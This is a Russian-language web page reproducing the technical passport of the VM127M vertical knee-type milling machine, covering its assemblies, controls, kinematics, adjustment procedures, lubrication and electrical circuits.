Вм 127м паспорт: ВМ127М Станок консольно-фрезерный вертикальный. Паспорт, схемы, характеристики, описание

Содержание

ВМ127М Станок консольно-фрезерный вертикальный. Паспорт, схемы, характеристики, описание

Сведения о производителе фрезерного станка ВМ127М

Вертикальный консольно-фрезерный универсальный станок ВМ127М выпускался на предприятии Воткинский машиностроительный завод, основанный в 1759 году.

Металлорежущие станки на Воткинском машиностроительном заводе выпускаются начиная с 1956 г. Это вертикально-фрезерные станки 6Н13, ВМ127, ВМ127М, универсально-фрезерные ВМ130, ВМ133, горизонтально-фрезерные станки с ЧПУ ВМ500ПМФ4, ВМ501ПМФ4, а также токарный настольный станок Универсал-В.

Станки, выпускаемые Воткинским машиностроительным заводом

  • 6Н13П — станок вертикальный консольно-фрезерный, 400 х 1600
  • 6Р13Ф3 — станок консольно-фрезерный вертикальный с ЧПУ, 400 х 1600
  • 6Р13рФ3 — станок консольно-фрезерный вертикальный с ЧПУ, 400 х 1600
  • ВМ127 — станок консольно-фрезерный вертикальный, 400 х 1600
  • ВМ127М — станок консольно-фрезерный вертикальный, 400 х 1600
  • ВМ-130 — станок фрезерный широкоуниверсальный, 250 х 630
  • ВМ501ПМФ4 — станок горизонтально-фрезерный с ЧПУ и АСИ, Ø 250
  • Универсал-В — станок токарно-винторезный настольный, Ø 150

ВМ127М cтанок вертикальный консольно-фрезерный.

Назначение, область применения

Станок фрезерный консольный вертикальный модели ВМ127М предназначен для фрезерования всевозможных деталей из стали, чугуна и цветных металлов и сплавов торцовыми, концевыми, цилиндрическими, радиусными и другими фрезами в условиях индивидуального, мелкосерийного и серийного производства. Масса детали с приспособлением — до 800 кг.

Консольно-фрезерный станок ВМ127М заменил в 1988 фрезерный станок ВМ127.

На станке можно обрабатывать вертикальные, горизонтальные и наклонные плоскости, пазы, углы, рамки, зубчатые колеса и т. д.

Возможность настройки станка на различные полуавтоматические и автоматические циклы позволяет организовать многостаночное обслуживание.

Мощный привод главного движения станка ВМ 127М и тщательно подобранные передаточные отношения обеспечивают оптимальные режимы обработки при различных условиях резания и полное использование возможностей быстрорежущего и твердосплавного инструмента.

Простота обслуживания станка ВМ127М переналадка приспособлений и инструмента представляют значительные удобства при использовании станка в мелкосерийном производстве.

Автоматическая система смазки узлов обеспечивает неприхотливость и надежность станка в самых жестких условиях эксплуатации.

Модификация станка 2012 года

В 2012 году Воткинский завод освоил изготовление новой модификации станка ВМ127М, в которой:

  • Изменена конструкция вертикальных направляющих станины с профиля «Ласточкин хвост» на П-образный профиль, что позволило увеличить массу обрабатываемой детали до 800 кг
  • Заменена механическая коробка подач на бесступенчатое регулирование (Серводигатель), для более точной и быстрой настройки режимов резания, и повышению производительности обработки
  • При изготовлении станка с устройством цифровой индикации заменены комплектующие на импортного производителя с использованием магнитных линеек вместо оптических

Общий вид вертикального консольно-фрезерного станка ВМ127М с УЦИ

Фото широкоуниверсального фрезерного станка ВМ-130

Фото широкоуниверсального фрезерного станка ВМ-130. Смотреть в увеличенном масштабе

Фото широкоуниверсального фрезерного станка ВМ-130

Фото широкоуниверсального фрезерного станка ВМ-130. Смотреть в увеличенном масштабе

Фото широкоуниверсального фрезерного станка ВМ-130

Фото широкоуниверсального фрезерного станка ВМ-130. Смотреть в увеличенном масштабе

Фото широкоуниверсального фрезерного станка ВМ-130

Фото широкоуниверсального фрезерного станка ВМ-130. Смотреть в увеличенном масштабе

Фото консольно-фрезерного станка вм127м

Фото консольно-фрезерного станка вм127м

Фото консольно-фрезерного станка вм127м. Смотреть в увеличенном масштабе

Расположение составных частей консольно-фрезерного станка ВМ127М

Расположение составных частей консольно-фрезерного станка вм127м

Перечень основных узлов консольно-фрезерного станка ВМ127М

  1. Станина — 6Р13.1.01.03
  2. Коробка скоростей — 6Р13.3.01.03
  3. Поворотная головка — 6Р13. 31.02
  4. Стол-салазки — 6Р13.7.01Б
  5. Консоль — 6Р13.6.01Б
  6. Коробка подач — 6Р13.4.01А
  7. Электрооборудование — ВМ127М.8.00.000
  8. Коробка переключений скоростей шпинделя — 6Р13.5.01-01
  9. Устройство электромеханического зажима инструмента — 6Р13К.93.000

Расположение органов управления фрезерным станком ВМ127М

Расположение составных частей консольно-фрезерного станка вм127

Расположение органов управления фрезерным станком ВМ127 Смотреть в увеличенном масштабе

Перечень органов управления фрезерным станком ВМ127М

  • 3. Указатель скоростей шпинделя
  • 4. Стрелка-указатель скоростей шпинделя
  • 6. Кнопка «Импульс шпинделя»
  • 7. Переключатель зажима-отжима инструмента
  • 8. Поворот головки
  • 9. Зажим гильзы шпинделя
  • 11. Рукоятка включения продольных перемещений стола
  • 12. Зажимы стола
  • 13. Маховик ручного продольного перемещения стола
  • 14. Кнопка «Быстро стол»
  • 15. Кнопка «Пуск шпинделя»
  • 16. Кнопка «Стоп»
  • 18. Маховик ручных поперечных перемещений стола
  • 19. Рукоятка ручного вертикального перемещения стола
  • 20. Кольцо-нониус
  • 21. Лимб механизма поперечного перемещения стола
  • 22. Кнопка фиксирования грибка переключения подач
  • 23. Грибок переключения подач
  • 24. Указатель подач стола
  • 25. Стрелка-указатель подач стола
  • 26. Рукоятка включения поперечной и вертикальной подач стола
  • 27. Зажим салазок на направляющих консоли
  • 31. Переключатель ввода «включено-выключено»
  • 32. Переключатель насоса охлаждения «включено-выключено»
  • 34. Рукоятка переключения скоростей шпинделя
  • 36. Зажим консоли на станине
  • 37. Маховик выдвижения гильзы шпинделя
  • 38. Зажим головки на станине
  • 40. Кнопка «Стоп» аварийная
  • 41. Лампа сигнальная

Кинематическая схема фрезерного станка ВМ127М

Кинематическая схема фрезерного станка вм127м

Схема кинематическая консольно-фрезерного станка ВМ127М. Смотреть в увеличенном масштабе

Привод главного движения осуществляется от фланцевого электродвигателя через упругую соединительную муфту.

Числа оборотов шпинделя изменяются передвижением трех зубчатых блоков по шлицевым валам.

Коробка скоростей сообщает шпинделю 18 различных скоростей.

Привод подач осуществляется от фланцевого электродвигателя, смонтированного в консоли. По средством двух трехвенцовых блоков и передвижного зубчатого колеса с кулачковой муфтой коробка подач обеспечивает получение 18 различных подач, которые через шариковую предохранительную муфту передаются в консоль и далее при включении с ответствующей кулачковой муфты к винтам продольного, поперечного и вертикального перемещений.

Ускоренные перемещения получаются при включении фрикциона быстрого хода, вращение которого осуществляется через промежуточные зубчатые колеса непосредственно от электродвигателя подач.

Фрикцион сблокирован с муфтой рабочих подач, что устраняет возможность их одновременного включения.

График чисел оборотов шпинделя станка, поясняющий структуру механизма главного движения, приведен на рис. 9. Вертикальные подачи в 3 раза меньше продольных

Описание конструкции основных узлов фрезерного станка ВМ127

Станина

Станина является базовым узлом, на котором монтируются остальные узлы и механизмы станка и жестко закреплена на основании и зафиксирована штифтами.

Поворотная головка

Поворотная головка вертикального консольно-фрезерного cтанка ВМ127М

Поворотная головка вертикального консольно-фрезерного cтанка ВМ127М. Смотреть в увеличенном масштабе

Поворотная головка (рис. 14) центрируется в кольцевой выточке горловины станины и крепится к ней четырьмя болтами, входящими в Т-образный паз фланца.

Шпиндель

Шпиндель представляет собой двухопорный вал, смонтированный в выдвижной гильзе. Регулирование осевого люфта в шпинделе осуществляется подшлифовкой колец 3 и 4. Повышенный люфт в переднем подшипнике устраняют подшлифовкой полуколец 6 и подтягиванием гайки 1.

Регулировку шпинделя проводят в следующем порядке:

  • выдвигается гильза шпинделя;
  • демонтируется фланец 5;
  • снимаются полукольца 6;
  • с правой стороны корпуса головки вывертывается резьбовая пробка;
  • через отверстие отвертыванием винта 2 расконтривается гайка 1;
  • стальным стержнем гайка 1 застопоривается. Поворотом шпинделя за сухарь гайку подтягивают и этим перемещают внутреннюю обойму подшипника;
  • щупом замеряется величина зазора между подшипником и буртом шпинделя, после чего полукольца 6 подшлифовываются на необходимую величину;
  • полукольца устанавливаются на место и закрепляются;
  • привертывается фланец 5. Для устранения радиального люфта в 0,01 мм полукольца необходимо подшлифовывать примерно на 0,12 мм.

После проверки люфта в подшипнике производят обкатку шпинделя на максимальном числе оборотов

Величину нагрева подшипников характеризуют измерением электротермометром температуры внутренней поверхности конического отверстия.

Избыточная температура поверхности инструментального конуса не должна превышать 55°С.

Вращение шпинделю передается от коробки скоростей через пару конических и пару цилиндрических зубчатых колес, смонтированных в головке.

Смазка подшипников и шестерен поворотной головки осуществляется от насоса станины, а смазка механизма перемещения гильзы — шприцеванием.

Для демонтажа шпинделя с пинолью из корпуса головки необходимо:

  • снять специальную шпонку фиксации гильзы с правой стороны корпуса головки, предварительно вывернув два винта крепления;
  • отвернуть винты крепления, расстыковать разъем электропитания механизма крепления инструмента. Снять механизм крепления инструмента;
  • отвернуть крепежные винты и снять переднюю пластмассовую панель головки;
  • удалить штифт крепления направляющей втулки ходового винта перемещения гильзы;
  • удалить заглушку из отверстия под направляющую втулку ходового винта пиноли;
  • демонтировать винт подачи пиноли совместно с направляющей втулкой;
  • снять кронштейн с гайкой ходового винта, предварительно вывернув винты его крепления;
  • демонтировать шпиндель с пинолью.

Примечание: Перед демонтажом винта подачи пиноли необходимо принять меры, исключающие самопроизвольное выпадение пиноли со шпинделем из корпуса головки (вывести ось шпинделя в горизонтальное положение или применить специальные упоры под торец пиноли или шпинделя).

Сборку производить в обратном порядке.

Коробка скоростей

Коробка скоростей смонтирована непосредственно в корпусе станины. Соединение коробки с валом электродвигателя осуществляется упругой муфтой, допускающей несоосность в установке двигателя до 0,5—0,7 мм.

Осмотр коробки скоростей можно производить через окно с правой стороны.

Смазка коробки скоростей осуществляется от плунжерного насоса (рис. 13), приводимого в действие эксцентриком. Производительность насоса около 2 л/мин. Масло к насосу подводится через фильтр. От насоса масло поступает к маслораспределителю, от которого по медной трубке отводится на глазок контроля работы насоса и по гибкому шлангу в поворотную головку. Элементы коробки скоростей смазываются разбрызгиванием масла, поступающего из отверстий трубки маслораспределителя, расположенного над коробкой скоростей.

При работе плунжерный насос издает характерный циклический звук.

Коробка переключения скоростей

Коробка переключения скоростей позволяет выбирать требуемую скорость без последовательного прохождения промежуточных ступеней.

Рейка 1 (рис. 16), передвигаемая рукояткой переключателя 5, посредством сектора 2 через вилку 8 (рис. 15) перемещает в осевом направлении главный валик 3 с диском переключения 7.

Диск переключения можно поворачивать указателем скоростей 9 через конические шестерни 14 и 16, Диск имеет несколько рядов определенного размера отверстий, расположенных против штифтов реек 17 и 19.

Рейки попарно зацепляются с зубчатым колесом 18. На одной из каждой пары реек крепится вилка переключения. При перемещении диска нажимом на штифт одной из пары обеспечивается возвратно-поступательное перемещение реек.

При этом вилки в конце хода диска занимают положение, соответствующее зацеплению определенных пар шестерен. Для исключения возможности жесткого упора шестерен при переключении штифты 6 реек подпружинены.

Фиксация лимба при выборе скорости обеспечивается шариком 13, заскакивающим в паз звездочки 10.

Регулирование пружины 11 производится пробкой 12 с учетом четкой фиксации лимба и нормального усилия при его повороте.

Рукоятка 5 (см. рис. 16) во включенном положении Удерживается за счет пружины 4 и шарика 3. При этом шип рукоятки входит в паз фланца.

Соответствие скоростей значениям, указанным на указателе, достигается определенным положением конических колес по зацеплению. Правильное зацепление устанавливается по кернам на торцах сопряженного зуба и впадины или при установке указателя в положение скорости 31,5 об/мин, и диска с вилками в положение скорости 81,5 об/мин. Зазор в зацеплении конической пары не должен быть больше 0,2 мм, так как диск за счет этого может повернуться до 1 мм.

Смазка коробки переключения осуществляется от системы смазки коробки скоростей разбрызгиванием масла. Отсутствие масляного дождя может вызвать недопустимый нагрев щечек вилок переключения и привести к заеданию вилок, их деформации или поломке.

Плоскость разъема уплотняется прокладкой или бензиноупорной смазкой БУ, ГОСТ 7171-78.

Коробка подач

Коробка подач фрезерного станка вм127м

Коробка подач фрезерного станка ВМ127м. Смотреть в увеличенном масштабе

Коробка подач обеспечивает получение рабочих подач и быстрых перемещений стола, салазок и консоли. Кинематику коробки подач см. на рис. 8.

Получаемые в результате переключения блоков скорости вращения передаются на выходной вал 7 (рис. 17) через шариковую предохранительную муфту, кулачковую муфту 15 и втулку 16, соединенную шпонкой с кулачковой муфтой 15 и выходным валом 7.

При перегрузке механизма подач шарики, находящееся в контакте с отверстиями кулачковой втулки 17, сжимают пружины и выходят из контакта. При этом зубчатое колесо 2 проскальзывает относительно кулачковой втулки 17 и рабочая подача прекращается. Быстрое вращение передается от электродвигателя, минуя коробку подач, зубчатому колесу 6, которое сидит на хвостовике корпуса фрикциона 10 и имеет, таким образом, постоянное число оборотов. При монтаже необходимо проверить затяжку гайки 8. Корпус фрикционной муфты должен свободно вращаться между зубчатым колесом 9 и упорным подшипником.

Диски фрикциона через один связаны с корпусом фрикциона, который постоянно вращается, и втулкой 4, которая, в свою очередь, соединена шпонкой с выходным валом 7.

При нажатии кулачковой муфты 15 на торец втулки 14 и далее на гайку 5 диски 11 и 12 сжимаются и передают быстрое вращение выходному валу 7 и зубчатому колесу 9.

При регулировании предохранительной муфты снимается крышка 19 (рис. 18) и вывертывается пробка 20.

На место пробки вставляется стальной стержень так, чтобы конец его вошел в одно из отверстий на наружной поверхности гайки 1 (см. рис. 17), которая застопоривается. Плоским стержнем через окно крышки повертывается за зубья зубчатое колесо 2. После регулировки гайка обязательно контрится от самопроизвольного отворачивания стопором 18.

Регулирование считается правильным, если при встречном фрезеровании цилиндрической фрезой удается фрезеровать чугун марки СЧ15 при следующих параметрах режима резания:

  • Диаметр фрезы — 200 мм
  • Число зубьев — 14
  • Ширина фрезерования — 150 мм
  • Глубина фрезерования — 6 мм
  • Число оборотов в минуту — 63 об/мин
  • Продольная подача по лимбу — 500 мм/мин

При этих режимах муфта может периодически прощелкивать.

Регулирование зазора между дисками фрикциона производится гайкой 5, которая от самопроизвольного перемещения заперта фиксатором 13.

Коробка переключения подач

Коробка переключения подач (рис. 19) входит в узел коробки подач. Принцип ее работы аналогичен работе коробки переключения скоростей.

Для предотвращения смещения диска 21 в oceвом направлении валик 29 запирается во включенном положении шариком 24 и втулкой 28. Попадая в кольцевую проточку валика 27, шарики освобождают от фиксации валик 29 при нажиме на кнопку.

Фиксация поворота диска переключения 21 осуществляется шариком 22 через фиксаторную втулку 25, связанную шпонкой с валиком 29.

Регулирование усилия фиксации поворота диска переключения производится резьбовой пробкой 23. Смазка коробки подач осуществляется разбрызгиванием масла, поступающего из системы смазки консоли. Кроме этого, в нижней части платика консоли имеется отверстие (сверление в нагнетательную полость насоса смазки), через которое смазка поступает к маслораспределителю коробки подач.

От маслораспределителя отводятся две трубки: нa глазок контроля работы насоса и для смазки подшипников. Непосредственно через маслораспределитель масло подается на смазку подшипников фрикционной муфты.

Для достижения плотности стыка коробки подач и консоли разрешается установка коробки подач, кроме прокладки, на бензиноупорную смазку БУ (ГОСТ 7171-78, если прокладка не обеспечивает достаточной герметичности.

Консоль

Консоль является базовым узлом, объединяющим узлы цепи подач станка. В консоли смонтирован ряд валов и зубчатых колес, передающих движение от коробки подач в трех направлениях — к винтам продольной, поперечной и вертикальной подач, механизм включения быстрого хода, электродвигатель подач. В узел «консоль» входит также механизм включения поперечных и вертикальных подач. Зубчатое колесо 8 (рис. 20) получает движение от колеса 9 (см. рис. 17) и передает его на зубчатые 7, 4, 2 и 1 (см. рис. 20). Зубчатое колесо 4 смонтировано на подшипнике и может передавать движение валу только через кулачковую муфту 6, связанную с валом. Далее через пару цилиндрических и пару конических колес движение передается на винт 14 (рис. 21).

Зацепление конической пары 10 и 15 отрегулировано компенсаторами 12 и 13 и зафиксировано винтом, входящим в засверловку пальца 11.

Втулка 16 имеет технологическое значение и никогда не демонтируется.

Гайка вертикальных перемещений закреплена в колонке. Колонка установлена точно по винту и зафиксирована штифтами на основании станка.

Зубчатое колесо 2 (см. рис. 20), смонтированное на гильзе, через шпонку и шлицы постоянно вращает шлицевой вал IX цепи продольного хода.

Винт поперечной подачи X получает вращение через зубчатое колесо 2 и свободно сидящее на валу колесо 1 при включенной кулачковой муфте поперечного хода.

Для демонтажа залов VII и VIII необходимо снять коробку подач и крышку с левой стороны консоли, после чего через окно консоли вывернуть стопоры у зубчатых колес 8 и 9.

Демонтаж салазок можно произвести после демонтажа шлицевого вала IX.

При демонтаже салазок необходимо также демонтировать кронштейн поперечного хода или винт поперечной подачи.

Для полного демонтажа вертикального винта необходимо предварительно снять узел «стол-салазки».

Механизм включения быстрого хода

Механизм включения быстрого хода выключает кулачковую муфту подачи 15 и сжимает диски 1 и 12 фрикционной муфты (см. рис. 17).

Рычаг 21 (рис. 22) посажен на ось 24 и связан с ней штифтом; ось давлением пружины 26 отжимается в направлении зеркала станины. На оси 24 имеется две пары гаек. Правые гайки 22 предназначены для регулирования усилия пружины. Левые 23, упираясь в торец втулки 25, закрепленной в стенке консоли, служат для ограничения и регулирования хода оси, что необходимо для облегчения ввода подшипника в паз кулачковой муфты во время монтажа коробки подач на консоли, а также для устранения осевых ударных нагрузок на подшипник вала при включении кулачковой муфты. Рычаг имеет на задней стенке уступ, в который упирается шип фланца втулки 27. При повороте втулки рычаг 21 перемещается и сжимает пружину 26. Ось 28 на втором конце имеет мелкий зуб, обеспечивающий возможность монтажа рычага 29, соединяющего ось 28 с тягой электромагнита, под необходимым углом.

Электромагнит через тягу и шарниры скреплен с вилкой 19, от которой через гайку 17 и пружину 18 усилие передается на рычаг 29. Таким образом, независимо от усилия, развиваемого электромагнитом, усилие на рычаге определяется степенью затяжки пружины 18.

Цепь включения быстрого хода от электромагнита до фрикционной муфты должна удовлетворять следующим условиям:

  • общий зазор между дисками фрикциона в выключенном состоянии должен быть не менее 1…1,5 мм;
  • во включением положении фрикциона диски должны быть плотно сжаты и сердечник электромагнита полностью втянут. При этом сжатие пружины 18 допускается до положения, определяемого зазором от низа рычага 29 до торца вилки 19 в 1…1,5 мм;
  • пружина 18 должна развивать усилие, немногим меньше усилия электромагнита.

Гайка 17 регулируется так, чтобы сердечник электромагнита во включенном положении был полностью втянут. Усилие сжатия дисков определяется величиной натяга пружины 18 и не зависит от величины зазора в дисках. ВНИМАНИЕ!

РЕГУЛИРОВАТЬ ЗАЗОР В ДИСКАХ, ПОЛАГАЯ, ЧТО ЭТО УВЕЛИЧИТ СИЛУ СЖАТИЯ ДИСКОВ, ЗАПРЕЩАЕТСЯ.

Усилия электромагнита при включении, передаваемые через рычаги, могут расшатывать систему, поэтому при осмотрах и ремонте необходимо проверять сохранность шплинтов, крепление гайки 17, посадку шпонок и крепление самого электромагнита на крышке консоли. Износ подшипника 20 увеличивается, если усилие его прижима не ограничивается гайками 22 и 23.

Механизм включения вертикальной и поперечной подач

Механизм включения вертикальной и поперечной подач выполнен в отдельном корпусе и управляет включением и отключением кулачковых муфт поперечной и вертикальной подач и электродвигателя подач.

При движении рукоятки вправо или влево, вверх или вниз связанный с ней барабан 32 (рис. 23) совершает соответствующие движения и своими скосами управляет через рычажную систему включением кулачковых муфт, а через штифты — конечными выключателями мгновенного действия, расположенными ниже механизма и предназначенными для реверса электродвигателя подачи.

Тяга 33 связывает барабан с дублирующей рукояткой. В своей средней части на ней закреплен рычаг, на который действуют кулачки, ограничивающие поперечный ход. В конце тяга имеет рычаг для ограничения вертикальных перемещений. При включениях и выключениях поперечного хода тяга перемещается поступательно, а вертикального хода — поворачивается.

Блокировка, предохраняющая от включения маховички и рукоятки ручных перемещений при включении механической подачи, включает в себя коромысло 6 и штифт 5 (см. рис. 20).

При включении кулачковой муфты рукояткой подачи коромысло 6 при перемещении муфты поворачивается, передвигает штифт, который упирается в дно кулачковой муфты маховичка или рукоятки, и отодвигает их, не давая возможности кулачкам сцепиться.

Если система имеет повышенный люфт, необходимо выпрессовать пробку вала VII, расконтрить гайку 30 (см. рис. 23) и подвернуть винт 31. После проверки люфта необходимо тщательно законтрить гайку 30.

Система смазки консоли включает в себя плунжерный насос (рис. 24), золотниковый распределитель (рис. 25), маслораспределитель и отходящие от него трубки, подающие масло к подшипникам, зубчатым колесам, винтам поперечного и вертикального перемещений. Плунжерный насос смазки консоли, коробки подать механизмов узла «стол-салазки» засасывает масло через сетку фильтра из масляной ванны и подает его по трубке к золотниковому распределителю.

От золотникового распределителя отводятся трубки для смазки вертикальных направляющих консоли, на штуцер гибкого шланга смазки узла «стол-салазки» и к маслораспределителю консоли. Производительность насоса около 1 л/мин.

При нажиме на кнопки (см. рис. 25) доступ масла к маслораспределителю перекрывается и оно от насоса поступает соответственно на вертикальные направляющие консоли или для смазки узла «стол-салазки».

Смазка на вертикальный винт поступает через отверстия в зубчатом колесе и в самом винте.

Стол и салазки

Стол и салазки (рис. 26) обеспечивают продольные и поперечные перемещения стола.

Ходовой винт 1 получает вращение через скользящую шпонку гильзы 9, смонтированную во втулках 5 и 7. Гильза через шлицы получает вращение от кулачковой муфты 6 при сцеплении ее с кулачками втулки 5, жестко связанной с коническим зубчатым колесом 4. Втулка 5 имеет зубчатый венец, с которым сцепляется зубчатое колесо привода круглого стола. Кулачковая муфта 6 имеет зубчатый венец для осуществления вращения винта продольной подачи при перемещениях от маховичка.

Зубчатое колесо 45 (рис. 30) подпружинено на случай попадания зуба на зуб. Зацепление с шестерней 45 может быть только в случае расцепления муфты 6 с втулкой 5 (см. рис. 26).

Таким образом, маховичок 24 (рис. 30) блокируется при механических подачах.

Гайки 2 и 3 ходового винта (рис. 26) расположены в левой части салазок. Правая гайка 3 зафиксирована двумя штифтами в корпусе салазок, левая гайка 2, упираясь торцем в правую при повороте ее червяком выбирает люфт в винтовой паре. Для регулирования зазора необходимо ослабить гайку 11 (рис. 27) и, вращая валик 10, произвести подтягивание гайки 2 (рис. 26). Выбор люфта необходимо производить до тех пор, пока люфт ходового винта, проверяемый поворотом маховичка продольного хода, окажется не более 3—5° и пока при перемещении стола вручную не произойдет заклинивание винта на каком-либо участке, необходимом для рабочего хода.

После регулировки нужно затянуть контргайку 11 (см. рис. 27), зафиксировать валик 10 в установленном положении.

Стол в своих торцах соединяется с ходовым винтом через кронштейны, установка которых производится по фактическому расположению винта, и фиксируется контрольными штифтами. Упорные подшипники смонтированы на разных концах винта, что устраняет возможность его работы на продольный изгиб. При монтаже винта обеспечивается предварительный натяг ходового винта гайками с усилием 100—125 кг.

Зазор в направлениях стола и салазок выбирается клиньями. Регулирование клина 12 стола (рис. 28) производится при ослабленных гайках 13 и 15 подтягиванием винта 14 отверткой.

После проверки регулирования ручным перемещением стола гайки надежно затягиваются.

Зазор в направляющих салазок регулируется клипом 17 при помощи винта 16. Степень регулирования проверяется перемещением салазок вручную.

Зажим салазок на направляющих консоли обеспечивается планкой 8 (см. рис. 26).

Механизм включения продольной подачи

Механизм включения продольной подачи (рис. 29) осуществляет включение кулачковой муфты продольного хода, а также включение, выключение и реверсирование электродвигателя подач.

Рукоятка 21 жестко соединена с осью 20 и поворачивает рычаг 18, по криволинейной поверхности которого в процессе переключения катится ролик 30 (см. рис. 30). При нейтральном положении рычага ролик находится в средней впадине, при включенном — в одной из боковых впадин.

Движение ролика через рычаг 31 передается штоку 40 и через зубчатое колесо 42 — рейке 46 и вилке 44, ведущей кулачковую муфту.

Пружина 37, регулируемая пробкой 36, постоянно нажимает на шток 40. Пружина 39 обеспечивает возможность включения рукоятки при попадании зуба на зуб кулачковой муфты. Регулирование пружины 39 производится винтом 38 при помощи ключа, который вставляется через отверстие пробки 36. Чрезмерное сжатие пружины 37 ослабляет действие пружины 39. На одной оси с рычагом 31 сидит рычаг 33, который служит для включения кулачковой муфты кулачком 34, прикрепленным к тяге 35. Тяга соединяет основную рукоятку продольного хода с дублирующей.

Включение и реверсирование электродвигателя подач производится конечными выключателями 32. Отключение двигателя происходит после выключения кулачковой муфты.

На ступице 22 (см. рис. 29) рукоятки продольного хода имеются выступы, на которые воздействуют кулачки ограничения продольного хода или (при автоматических циклах) управления продольным ходом.

При снятой крышке 28 (см. рис. 30) можно проверить работу контактов конечных выключателей и при необходимости очистить их от пригара.

Механизм автоматического цикла

Механизм автоматического цикла обеспечивает возможность управления столом от кулачков. На оси рукоятки продольного хода смонтированы жестко связанные между собой звездочки 23 и 19 включения быстрого хода при работе станка на авто-

Система смазки станка вм127м

Схема расположения точек смазки показана на рис. 36.

Описание работы системы смазки.

Внимательное отношение к смазке, нормальная работа системы смазки является гарантией безотказной работы станка и его долговечности.

На станке имеются две изолированные централизованные системы смазки:

  • зубчатых колес, подшипников, коробки скоростей и элементов коробки переключения скоростей, зубчатых колес и подшипников шпиндельной головки;
  • зубчатых колес, подшипников коробки подач, консоли, салазок, направляющих консоли, салазок и стола, винтов поперечного и вертикального перемещений.

Масляный резервуар и насос смазки коробки скоростей находятся в станине. Масло в резервуар заливается через крышку 18 до середины маслоуказателя 1.

При необходимости уровень масла должен пополняться.

Слив масла производится через патрубок 17. Контроль за работой системы смазки коробки скоростей осуществляет маслоуказателем 10.

Масляный резервуар и насос смазки узлов, обеспечивающих движение подачи, расположены в консоли. Масло в резервуар заливается через угольник 14 до середины маслоуказателя 15. Превышать этот уровень не рекомендуется: заливка выше середины маслоуказателя может привести к подтекам масла из консоли и коробки подач, кроме того, при переполненном резервуаре масло через рейки затекает в корпус коробки переключения, что может привести к порче конечного выключателя, кратковременного включения двигателя подач. При снижении уровня масла до нижней точки маслоуказателя необходимо пополнить резервуар.

Слив масла из консоли производится через пробку 13 в нижней части консоли с левой стороны. Контроль за работой системы смазки коробки подач и консоли осуществляется маслоуказателем 3.

Работа системы смазки считается удовлетворительной, если масло каплями вытекает из подводящей трубки (в маслоуказателях 10 и 3).

Наличие струйки или заполнение ниши указателя маслом свидетельствует о хорошей работе масляной системы.

Направляющие стола, салазок, консоли и механизма привода продольного хода, расположенные в салазках, смазываются периодически от насоса, расположенного в консоли. Масло для смазки этих узлов поступает из резервуара консоли. Смазка направляющих консоли осуществляется нажатием кнопки 5, а смазка направляющих салазок, стола и механизма привода продольного хода — кнопки 6.

Достаточность смазки оценивается по наличию масла на направляющих.

Смазка подшипников концевых опор винта продольной подачи, механизма перемещения гильзы, подшипников, шпинделя производится шприцеванием.

Электрооборудование вертикального консольно-фрезерного станка ВМ127М

Система питания

Питающая сеть: Напряжение 380 В, род тока переменный, частота 50 Гц

Цепи управления: Напряжение 110 В, род тока переменный

Цепи управления: Напряжение 65 В, род тока постоянный

Местное освещение: напряжение 24 В.

Номинальный ток (сумма номинальных токов одновременно работающих электродвигателей) 20 А.

Номинальный ток защитного аппарата (предохранителей, автоматического выключателя) в пункте питания электроэнергией 63 А.

Электрооборудование выполнено по следующим документам: принципиальной схеме 6Р13.8.000Э3. схеме соединения изделия Р13.8.000Э4.

Схема электрическая фрезерного станка ВМ127М

Электрическая схема фрезерного станка вм127м. Силовая часть

Схема электрическая фрезерного станка ВМ127М. Силовая часть. Смотреть в увеличенном масштабе

Электрическая схема фрезерного станка вм127м. Управляющая часть

Схема электрическая фрезерного станка ВМ127М. Управляющая часть. Смотреть в увеличенном масштабе

Перечень элементов электрической схемы консольно-фрезерного cтанка ВМ127М

Перечень элементов электрической схемы консольно-фрезерного cтанка ВМ127М

Перечень элементов электрической схемы консольно-фрезерного cтанка ВМ127М. Смотреть в увеличенном масштабе

Схема расположения электрооборудования на консольно-фрезерном станке ВМ127М

Схема расположения электрооборудования на станке вм127м

Схема расположения электрооборудования на станке ВМ127М. Смотреть в увеличенном масштабе

Функциональное назначение пускателей:

  • КМ1 — подключает напряжение 380 В к приводу главного движения Ml и двигателю насоса охлаждения М2
  • КМ2, КМЗ — подключают напряжение 380В к приводу подач М3
  • КМ4, КМ5 — подключают напряжение 380В к двигателю механизма крепления инструмента
  • К2 — включает динамическое торможение шпинделя
  • КЗ — включает быстрый ход привода подач и импульсное включение привода главного движения при переключении скоростей шпинделя
  • К5 — подготавливает цепь включения привода главного движения после зажима инструмента
  • КТ1 — задает время вращения шпинделя после его выключения до включения торможения
  • КТ2 — задает время торможения шпинделя

Функциональное назначение органов управления, расположенных на станке:

  • QF1 — вводной выключатель
  • QS2 — переключатель насоса охлаждения «включено-выключено»
  • SQ3 — выключатель импульсного включения привода подач при переключении скоростей
  • SQ5, SQ7 — выключатель привода стола «вперед-назад» и «вверх-вниз»
  • SQ6, SQ8 — выключатель привода стола «влево-вправо»
  • SQ10 — выключатель блокировки главного движения и подач при зажиме инструмента

Боковой пульт управления. Назначение органов управления:

  • SB1 — Аварийное отключение
  • SB5 — Импульсное включение шпинделя
  • SA3 — Зажим, разжим инструмента
  • QS2 — Включение насоса охлаждения

Передний пульт управления. Назначение органов управления:

  • SB2 — Аварийное отключение
  • SB4 — Отключение шпинделя
  • SB7 — Включение шпинделя
  • SB9 — Ускоренное перемещение подач

Работа составных частей электрооборудования фрезерного станка ВМ127М

Работа станка в наладочном режиме

Зажим инструмента

Для зажима инструмента необходимо тумблер SA3 (на боковом пульте) установить в положение «Зажим» и удерживать рукой. При этом срабатывает пускатель КМ4, который подает напряжение на двигатель механизма зажима инструмента М4. Идет зажим инструмента. Прощелкивание муфты в механизме зажима свидетельствует об окончании зажима инструмента. Микровыключатель SQ10 своими контактами включает пускатель К5. 1, который становится на самопитание, отключает двигатель М4 и подготовит цепь пуска двигателя шпинделя.

Разжим инструмента: тумблер SA3 установить в положение «Разжим» и удерживать рукой. При этом срабатывают пускатели КМ5.1. Пускатель КМ5.3. подает напряжение на двигатель М4. Идет отжим инструмента. Окончание отжима инструмента контролируется визуально.

Примечание:

  1. Во избежание получения травм при разжиме инструмента пуск шпинделя блокируется замыкающими контактами К5
  2. При вращающемся шпинделе разжим инструмента заблокирован размыкающими контактами К5 в цепи включения двигателя М4
  3. При зажиме и разжиме инструмента, с целью исключения проворачивания шпинделя, необходимо установить низкую скорость оборотов шпинделя (не выше 400об/мин)

Включение шпинделя

